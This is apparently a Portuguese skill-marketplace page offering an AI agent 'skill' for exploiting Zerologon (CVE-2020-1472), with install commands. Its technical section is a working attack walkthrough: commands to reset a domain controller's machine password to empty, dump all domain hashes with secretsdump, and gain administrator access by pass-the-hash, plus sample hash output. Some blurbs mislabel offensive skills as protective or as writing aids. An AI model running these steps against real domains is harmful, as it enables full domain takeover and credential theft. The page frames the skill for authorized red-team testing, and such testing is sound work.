exploiting-zerologon-vulnerability-cve-2020-1472
Ensina seu agente de IA a proteger aplicações contra ataques.
O que ela faz
Esta ferramenta explora uma falha de segurança chamada Zerologon em sistemas Windows. Ela permite que um invasor altere a senha de uma conta de computador do controlador de domínio, o que pode levar ao controle total da rede.
Quando usar
- ✓Ao testar a segurança de redes Windows autorizadas.
- ✓Para verificar se controladores de domínio estão vulneráveis à Zerologon.
- ✓Em simulações de ataque (red teaming) controladas.
Exemplo do que pedir para a IA
“Verifique se o controlador de domínio DC01 na rede 10.10.10.1 é vulnerável à Zerologon.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta usa uma técnica para explorar a falha Zerologon, permitindo que a senha da conta do computador do controlador de domínio seja redefinida. Em seguida, ela extrai credenciais de domínio.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-zerologon-vulnerability-cve-2020-1472Ou baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando a Vulnerabilidade Zerologon (CVE-2020-1472)
Visão Geral
Zerologon (CVE-2020-1472) é uma vulnerabilidade crítica de elevação de privilégio (CVSS 10.0) no Microsoft Netlogon Remote Protocol (MS-NRPC). A falha reside na implementação criptográfica do modo AES-CFB8, onde o vetor de inicialização (IV) é incorretamente definido como todos os zeros. Isso permite que um atacante não autenticado com acesso de rede a um controlador de domínio estabeleça uma sessão Netlogon e redefina a senha da conta de máquina do DC para vazia, alcançando o comprometimento total do domínio. A Microsoft corrigiu essa vulnerabilidade em agosto de 2020 (KB4571694).
Quando Usar
- Ao realizar testes de segurança autorizados que envolvam a exploração da vulnerabilidade zerologon cve 2020 1472
- Ao analisar amostras de malware ou artefatos de ataque em um ambiente controlado
- Ao conduzir exercícios de equipe vermelha (red team) ou engajamentos de testes de penetração
- Ao construir capacidades de detecção com base no entendimento de técnicas ofensivas
Pré-requisitos
- Acesso de rede a um Controlador de Domínio (porta TCP 135 e portas RPC dinâmicas)
- Nenhuma autenticação necessária (exploit não autenticado)
- O DC alvo não deve ter o modo de aplicação de fevereiro de 2021 habilitado
- Toolkit Impacket instalado
- Autorização por escrito para o engajamento de equipe vermelha
Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.
Mapeamento MITRE ATT&CK
| ID da Técnica | Nome | Tática |
|---|---|---|
| T1068 | Exploração para Escalação de Privilégios | Escalação de Privilégios |
| T1210 | Exploração de Serviços Remotos | Movimentação Lateral |
| T1003.006 | Dump de Credenciais do SO: DCSync | Acesso a Credenciais |
| T1078.002 | Contas Válidas: Contas de Domínio | Persistência |
Detalhes Técnicos da Vulnerabilidade
Causa Raiz
O protocolo de autenticação Netlogon usa criptografia AES-CFB8 com um desafio do cliente e um desafio do servidor. A vulnerabilidade existe porque:
- O IV é codificado como 16 bytes de zeros
- Quando o texto plano é 8 bytes de zeros, o AES-CFB8 produz um texto cifrado de todos os zeros com probabilidade de 1 em 256
- Um atacante pode enviar aproximadamente 256 tentativas de autenticação (leva ~3 segundos) para ter sucesso
Sistemas Afetados
- Windows Server 2008 R2 até Windows Server 2019
- Todos os controladores de domínio executando o serviço Netlogon não corrigido
- Versões do Samba < 4.8 (se executando como AD DC)
Passo 1: Identificar Controladores de Domínio Vulneráveis
# Scan for domain controllers
nmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0/24
# Check if DC is vulnerable using zerologon checker
python3 zerologon_tester.py DC01 10.10.10.1
# Using CrackMapExec
crackmapexec smb 10.10.10.1 -M zerologon
Passo 2: Explorar Zerologon
# Using Impacket's CVE-2020-1472 exploit
# This sets the DC machine account password to empty
python3 cve_2020_1472.py DC01$ 10.10.10.1
# Expected output:
# Performing authentication attempts...
# =========================================
# NetrServerAuthenticate2 Result: 0 (success after ~256 attempts)
# NetrServerPasswordSet2 call was successful
# DC01$ machine account password set to empty string
Passo 3: DCSync com Senha Vazia
# Use the empty hash to perform DCSync
secretsdump.py -no-pass -just-dc corp.local/DC01\$@10.10.10.1
# Output includes all domain hashes:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
# svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab:::
# Alternatively, dump specific accounts
secretsdump.py -no-pass corp.local/DC01\$@10.10.10.1 \
-just-dc-user Administrator
Passo 4: Obter Acesso de Administrador de Domínio
# Pass the Hash with Administrator NTLM
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
corp.local/Administrator@10.10.10.1
# Or use wmiexec for stealthier access
wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
corp.local/Administrator@10.10.10.1
Passo 5: Restaurar Senha da Conta de Máquina (CRÍTICO)
AVISO: Após explorar o Zerologon, a senha da conta de máquina do DC fica vazia, o que quebrará a replicação e os serviços do Active Directory. Você DEVE restaurá-la.
# Método 1: Usar a funcionalidade de restauração do exploit
…
Perguntas frequentes
O que é Zerologon?
Zerologon é o nome dado a uma falha de segurança crítica (CVE-2020-1472) no protocolo Netlogon do Windows, que permite a um atacante obter controle total de um domínio.
Preciso de permissão para usar esta ferramenta?
Sim, você só pode usar esta ferramenta em sistemas para os quais tem autorização explícita por escrito para testar. Usá-la em sistemas não autorizados é ilegal.
O que acontece depois de explorar a vulnerabilidade?
A senha da conta do computador do controlador de domínio é alterada para vazia. É crucial restaurar a senha original para evitar problemas de replicação e garantir o funcionamento da rede.
Detalhes
Descrição original do autor
Exploits the Zerologon vulnerability (CVE-2020-1472) in the Netlogon Remote Protocol using Impacket to reset a domain controller's machine account password to empty, then runs DCSync via secretsdump.py to dump domain credentials. Use when red-teaming or validating unpatched Active Directory domain controllers for Zerologon, including restoring the machine account password afterward.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5766
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC